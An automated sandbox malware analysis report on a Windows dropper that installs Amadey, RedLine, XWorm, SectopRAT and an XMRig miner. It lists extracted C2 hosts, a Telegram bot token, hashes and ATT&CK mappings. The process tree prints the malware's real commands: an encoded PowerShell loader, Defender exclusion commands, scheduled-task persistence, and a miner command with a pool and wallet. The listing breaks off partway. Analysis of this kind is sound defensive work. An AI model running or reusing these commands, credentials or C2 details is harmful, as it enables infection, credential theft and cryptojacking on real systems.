Overview

overview

10

Static

static

3

5b106bf9a4...in.exe

windows7-x64

10

5b106bf9a4...in.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    18-05-2024 11:24

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    5b106bf9a47ca9e6898ca72a3b803e9462df53a0f8c13d60b9f40a68ef71d588.bin.exe

  • Size

    1.8MB

  • MD5

    b375cfe094865db6acc0ed45c5a85270

  • SHA1

    dee3ae5cb5a242235840eebbf9b5e48b49c1e82f

  • SHA256

    5b106bf9a47ca9e6898ca72a3b803e9462df53a0f8c13d60b9f40a68ef71d588

  • SHA512

    dfd602ac1804dfc8fab1b02784789ea30632012e09c2172969de1ab4792c286c567586a2ed9003b8b1659ec16b49c1cdf23bb58d69c870c9c15e67465b16e316

  • SSDEEP

    49152:eCoYfNUb0HWSEUT6I5Vl3oXBkkQulK6liAi:9L1Gi5X3oRkEK3

Score
10/10
amadeyredlinesectopratxmrigxworm1c767c0vicdiscoveryevasionexecutioninfostealerminerpersistenceratspywarestealertrojan

Malware Config

Extracted

Family

amadey

Version

4.20

Botnet

c767c0

C2

http://5.42.96.7

Attributes
  • install_dir

    7af68cdb52

  • install_file

    axplons.exe

  • strings_key

    e2ce58e78f631ed97d01fe7b70e85d5e

  • url_paths

    /zamo7h/index.php

rc4.plain

Extracted

Family

redline

Botnet

1

C2

185.215.113.67:26260

Extracted

Family

xworm

C2

127.0.0.1:7000

beshomandotestbesnd.run.place:7000
Attributes
  • Install_directory

    %ProgramData%

  • install_file

    taskmgr.exe

  • telegram

    https://api.telegram.org/bot2128988424:AAEkYnwvOQA95riqRZwlqBxg4GV-odRNOyo/sendMessage?chat_id=966649672

Extracted

Family

redline

Botnet

Vic

C2

beshomandotestbesnd.run.place:1111

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Detect Xworm Payload 3 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 3 IoCs
  • SectopRAT

    SectopRAT is a remote access trojan first seen in November 2019.

    trojanratsectoprat
  • SectopRAT payload 1 IoCs
  • XMRig Miner payload 4 IoCs
    miner
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
    evasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
    evasionexecution
  • .NET Reactor proctector 31 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 35 IoCs
  • Identifies Wine through registry keys 2 TTPs 2 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 40 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Program Files directory 15 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 4 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Modifies system certificate store 2 TTPs 12 IoCs
    evasionspywaretrojan
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\5b106bf9a47ca9e6898ca72a3b803e9462df53a0f8c13d60b9f40a68ef71d588.bin.exe
    "C:\Users\Admin\AppData\Local\Temp\5b106bf9a47ca9e6898ca72a3b803e9462df53a0f8c13d60b9f40a68ef71d588.bin.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Identifies Wine through registry keys
    • Loads dropped DLL
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:3008
    • C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
      "C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Loads dropped DLL
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2656
      • C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe
        "C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2816
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2816 -s 96
          4⤵
          • Loads dropped DLL
          • Program crash
          PID:2980
      • C:\Users\Admin\AppData\Local\Temp\1000004001\crypted333.exe
        "C:\Users\Admin\AppData\Local\Temp\1000004001\crypted333.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1564
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1564 -s 96
          4⤵
          • Loads dropped DLL
          • Program crash
          PID:1324
      • C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe
        "C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe"
        3⤵
        • Executes dropped EXE
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1292
      • C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe
        "C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe"
        3⤵
        • Executes dropped EXE
        • Drops file in Program Files directory
        • Suspicious use of WriteProcessMemory
        PID:396
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c ""C:\Program Files (x86)\GameSyncLink\installg.bat" "
          4⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2088
          • C:\Windows\SysWOW64\sc.exe
            Sc stop GameServerClient
            5⤵
            • Launches sc.exe
            PID:832
          • C:\Program Files (x86)\GameSyncLink\GameService.exe
            GameService remove GameServerClient confirm
            5⤵
            • Executes dropped EXE
            PID:1348
          • C:\Windows\SysWOW64\sc.exe
            Sc delete GameSyncLink
            5⤵
            • Launches sc.exe
            PID:1768
          • C:\Program Files (x86)\GameSyncLink\GameService.exe
            GameService remove GameSyncLink confirm
            5⤵
            • Executes dropped EXE
            PID:1528
          • C:\Program Files (x86)\GameSyncLink\GameService.exe
            GameService install GameSyncLink "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
            5⤵
            • Executes dropped EXE
            PID:956
          • C:\Program Files (x86)\GameSyncLink\GameService.exe
            GameService start GameSyncLink
            5⤵
            • Executes dropped EXE
            PID:760
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c ""C:\Program Files (x86)\GameSyncLink\installc.bat" "
          4⤵
            PID:2004
            • C:\Windows\SysWOW64\sc.exe
              Sc stop GameServerClientC
              5⤵
              • Launches sc.exe
              PID:1924
            • C:\Program Files (x86)\GameSyncLink\GameService.exe
              GameService remove GameServerClientC confirm
              5⤵
              • Executes dropped EXE
              PID:2876
            • C:\Windows\SysWOW64\sc.exe
              Sc delete PiercingNetLink
              5⤵
              • Launches sc.exe
              PID:2172
            • C:\Program Files (x86)\GameSyncLink\GameService.exe
              GameService remove PiercingNetLink confirm
              5⤵
              • Executes dropped EXE
              PID:1432
            • C:\Program Files (x86)\GameSyncLink\GameService.exe
              GameService install PiercingNetLink "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
              5⤵
              • Executes dropped EXE
              PID:2208
            • C:\Program Files (x86)\GameSyncLink\GameService.exe
              GameService start PiercingNetLink
              5⤵
              • Executes dropped EXE
              PID:876
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c ""C:\Program Files (x86)\GameSyncLink\installm.bat" "
            4⤵
              PID:1152
              • C:\Windows\SysWOW64\sc.exe
                Sc delete GameSyncLinks
                5⤵
                • Launches sc.exe
                PID:1044
              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                GameService remove GameSyncLinks confirm
                5⤵
                • Executes dropped EXE
                PID:2232
              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                GameService install GameSyncLinks "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
                5⤵
                • Executes dropped EXE
                PID:1868
              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                GameService start GameSyncLinks
                5⤵
                • Executes dropped EXE
                PID:2308
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
              4⤵
                PID:900
            • C:\Users\Admin\AppData\Local\Temp\1000007001\swizzzz.exe
              "C:\Users\Admin\AppData\Local\Temp\1000007001\swizzzz.exe"
              3⤵
              • Executes dropped EXE
              PID:2036
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 2036 -s 96
                4⤵
                • Loads dropped DLL
                • Program crash
                PID:2528
            • C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe
              "C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe"
              3⤵
              • Executes dropped EXE
              PID:2380
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 2380 -s 52
                4⤵
                • Loads dropped DLL
                • Program crash
                PID:1768
            • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
              "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe"
              3⤵
              • Executes dropped EXE
              PID:784
              • C:\Windows\SysWOW64\schtasks.exe
                "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe" /F
                4⤵
                • Creates scheduled task(s)
                PID:1684
            • C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe
              "C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe"
              3⤵
              • Executes dropped EXE
              PID:2328
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4AEQAOAAsACAAMAB4ADIARgAsACAAMAB4ADEARgAsACAAMAB4ADYAQwAsACAAMAB4ADQARQAsACAAMAB4ADgAOAAsACAAMAB4ADQANQAsACAAMAB4AEQARAAsACAAMAB4ADEAQQAsACAAMAB4AEUARAAsACAAMAB4ADUAQwAsACAAMAB4ADQAQgAsACAAMAB4ADQAOQAsACAAMAB4ADQAOQAsACAAMAB4ADAAQwAsACAAMAB4ADMAQgAsACAAMAB4AEYAQQAsACAAMAB4AEEAMQAsACAAMAB4ADIANwAsACAAMAB4ADMARAAsACAAMAB4ADIAQQAsACAAMAB4AEIANQAsACAAMAB4AEMARAAsACAAMAB4ADIANwAsACAAMAB4ADQARAAsACAAMAB4ADAAQQAsACAAMAB4ADUAOQAsACAAMAB4ADUANwAsACAAMAB4AEMAQQAsACAAMAB4ADcAMAAsACAAMAB4AEEAQQAsACAAMAB4AEMAQgApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAAxAEMALAAgADAAeABBADMALAAgADAAeAAzADQALAAgADAAeABBADYALAAgADAAeAA4ADQALAAgADAAeABDAEMALAAgADAAeABBAEEALAAgADAAeABEADIALAAgADAAeABCADAALAAgADAAeABFAEUALAAgADAAeABBAEMALAAgADAAeABEADcALAAgADAAeABFAEIALAAgADAAeABGAEUALAAgADAAeAA4AEYALAAgADAAeAA5ADkAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2672
            • C:\Users\Admin\AppData\Local\Temp\1000052001\ReurgingGleek.exe
              "C:\Users\Admin\AppData\Local\Temp\1000052001\ReurgingGleek.exe"
              3⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:1664
              • C:\ProgramData\system.exe
                "C:\ProgramData\system.exe"
                4⤵
                • Executes dropped EXE
                • Adds Run key to start application
                • Suspicious behavior: AddClipboardFormatListener
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:1596
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\system.exe'
                  5⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1292
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'system.exe'
                  5⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1976
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\taskmgr.exe'
                  5⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:764
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'taskmgr.exe'
                  5⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1868
                • C:\Windows\System32\schtasks.exe
                  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "taskmgr" /tr "C:\ProgramData\taskmgr.exe"
                  5⤵
                  • Creates scheduled task(s)
                  PID:2788
              • C:\ProgramData\build.exe
                "C:\ProgramData\build.exe"
                4⤵
                • Executes dropped EXE
                • Modifies system certificate store
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1656
        • C:\Program Files (x86)\GameSyncLink\GameService.exe
          "C:\Program Files (x86)\GameSyncLink\GameService.exe"
          1⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1248
          • C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe
            "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
            2⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:620
            • C:\Windows\Temp\935840.exe
              "C:\Windows\Temp\935840.exe" --list-devices
              3⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:2336
        • C:\Program Files (x86)\GameSyncLink\GameService.exe
          "C:\Program Files (x86)\GameSyncLink\GameService.exe"
          1⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:2256
          • C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe
            "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
            2⤵
            • Executes dropped EXE
            PID:1508
        • C:\Program Files (x86)\GameSyncLink\GameService.exe
          "C:\Program Files (x86)\GameSyncLink\GameService.exe"
          1⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:624
          • C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe
            "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
            2⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Drops file in Program Files directory
            PID:2544
            • C:\Windows\Temp\661262.exe
              "C:\Windows\Temp\661262.exe" --http-port 14343 -o xmr.2miners.com:2222 -u 83dQM82bj4yY83XKGKHnbHTzqgY4FUt2pi1JS15u7rTs8v84mTU5ny5MiRoSeyduBUAQKFZ6MsvbMHYTisNeThDM3BqQ59y --coin XMR -t 1 --no-color -p x
              3⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of FindShellTrayWindow
              PID:1256
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {1BEB47F6-B80C-45B7-9E5D-83365C662A9D} S-1-5-21-1298544033-3225604241-2703760938-1000:IZKCKOTP\Admin:Interactive:[1]
          1⤵
            PID:268
            • C:\ProgramData\taskmgr.exe
              C:\ProgramData\taskmgr.exe
              2⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:3056
            • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
              C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
              2⤵
              • Executes dropped EXE
              PID:3064
            • C:\ProgramData\taskmgr.exe
              C:\ProgramData\taskmgr.exe
              2⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:1144
            • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
              C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
              2⤵
              • Executes dropped EXE
              PID:2536

          Network

          MITRE ATT&CK Matrix ATT&CK v13

          Initial Access

          Execution

          Command and Scripting Interpreter

          1
          T1059

          PowerShell

          1
          T1059.001

          System Services

          1
          T1569

          Service Execution

          1
          T1569.002

          Scheduled Task/Job

          1
          T1053

          Persistence

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Boot or Logon Autostart Execution

          1
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Scheduled Task/Job

          1
          T1053

          Privilege Escalation

          Create or Modify System Process

          1
          T1543

          Windows Service

          1
          T1543.003

          Boot or Logon Autostart Execution

          1
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Scheduled Task/Job

          1
          T1053

          Defense Evasion

          Virtualization/Sandbox Evasion

          2
          T1497

          Impair Defenses

          1
          T1562

          Modify Registry

          2
          T1112

          Subvert Trust Controls

          1
          T1553

          Install Root Certificate

          1
          T1553.004

          Credential Access

          Unsecured Credentials

          2
          T1552

          Credentials In Files

          2
          T1552.001

          Discovery

          Query Registry

          5
          T1012

          Virtualization/Sandbox Evasion

          2
          T1497

          System Information Discovery

          2
          T1082

          Lateral Movement

          Collection

          Data from Local System

          2
          T1005

          Exfiltration

          Command and Control

          Impact

          Service Stop

          1
          T1489

          Resource Development

          Reconnaissance

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Program Files (x86)\GameSyncLink\GameService.exe
            Filesize

            288KB

            MD5

            d9ec6f3a3b2ac7cd5eef07bd86e3efbc

            SHA1

            e1908caab6f938404af85a7df0f80f877a4d9ee6

            SHA256

            472232ca821b5c2ef562ab07f53638bc2cc82eae84cea13fbe674d6022b6481c

            SHA512

            1b6b8702dca3cb90fe64c4e48f2477045900c5e71dd96b84f673478bab1089febfa186bfc55aebd721ca73db1669145280ebb4e1862d3b9dc21f712cd76a07c4

            Download Submit
          • C:\Program Files (x86)\GameSyncLink\installc.bat
            Filesize

            301B

            MD5

            998ab24316795f67c26aca0f1b38c8ce

            SHA1

            a2a6dc94e08c086fe27f8c08cb8178e7a64f200d

            SHA256

            a468b43795f1083fb37b12787c5ff29f8117c26ac35af470084e00c48280442e

            SHA512

            7c9c2ade898a8defb6510ddd15730bec859d4474071eb6b8e8738ea6089764f81924ad2a6ebf0479d4fed7d61890edaa38f4bfbf70a4e6b30d33aa5bfc5b5c75

            Download Submit
          • C:\Program Files (x86)\GameSyncLink\installg.bat
            Filesize

            284B

            MD5

            5dee3cbf941c5dbe36b54690b2a3c240

            SHA1

            82b9f1ad3ca523f3794e052f7e67ecdcd1ae87e1

            SHA256

            98370b86626b8fd7a7cac96693348045b081326c49e2421113f49a5ea3588edb

            SHA512

            9ee431d485e2f09268a22b287b0960859d2f22db8c7e61309a042999c436b3de74f5d75837b739e01122a796ad65bc6468d009ec6ddf4962f4ff288155410556

            Download Submit
          • C:\Program Files (x86)\GameSyncLink\installm.bat
            Filesize

            218B

            MD5

            94b87b86dc338b8f0c4e5869496a8a35

            SHA1

            2584e6496d048068f61ac72f5c08b54ad08627c3

            SHA256

            2928d8e9a41f39d3802cfd2900d8edeb107666baa942d9c0ffbfd0234b5e5bfc

            SHA512

            b67eb73fe51d4dba990789f1e0123e902dac6d26569851c3d51ca0a575221ce317f973999d962669016017d8f81a01f11bd977609e66bb1b244334bce2db5d5d

            Download Submit
          • C:\ProgramData\taskmgr.exe
            Filesize

            75KB

            MD5

            70b9f8ef4c4ce24fe372b292aebcd138

            SHA1

            5fd7ce9318727b27db0dd50effbb632686d53f8c

            SHA256

            15af516d88e83cfc8d3deebe7aeb9ccaebc558fc93544ef31b612113fcce907b

            SHA512

            b4658ccb665aa9f43cc049a51c477a0b314c5c13d254d648e34f9feca9feb06021bbf271857f73998e31cc7f877fa5457fbe7420beb58f3563fbfbe121a4cbad

            Download Submit
          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
            Filesize

            68KB

            MD5

            29f65ba8e88c063813cc50a4ea544e93

            SHA1

            05a7040d5c127e68c25d81cc51271ffb8bef3568

            SHA256

            1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

            SHA512

            e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

            Download Submit
          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
            Filesize

            344B

            MD5

            0f0a237d6f24c2b44c0c111a47bc7075

            SHA1

            0dc0e1d851b92bd05555539531f36cf25f97ce51

            SHA256

            8f8590e97d6d985eff0a47b4c3e1bd390163837f5bf024da271bcef1d999f8bd

            SHA512

            266628ddc64ee041f316f611e32f22d5c4ba74488843f4a83c73da86dc7c7e93421bf5d9199affe825f6720eb70001e6e1de8a0806246b90abf387aa93a817da

            Download Submit
          • C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe
            Filesize

            2.2MB

            MD5

            ebc2640384e061203dcf9efb12a67cd9

            SHA1

            3fb2340408a4a61647fefa97766f4f82d41069f7

            SHA256

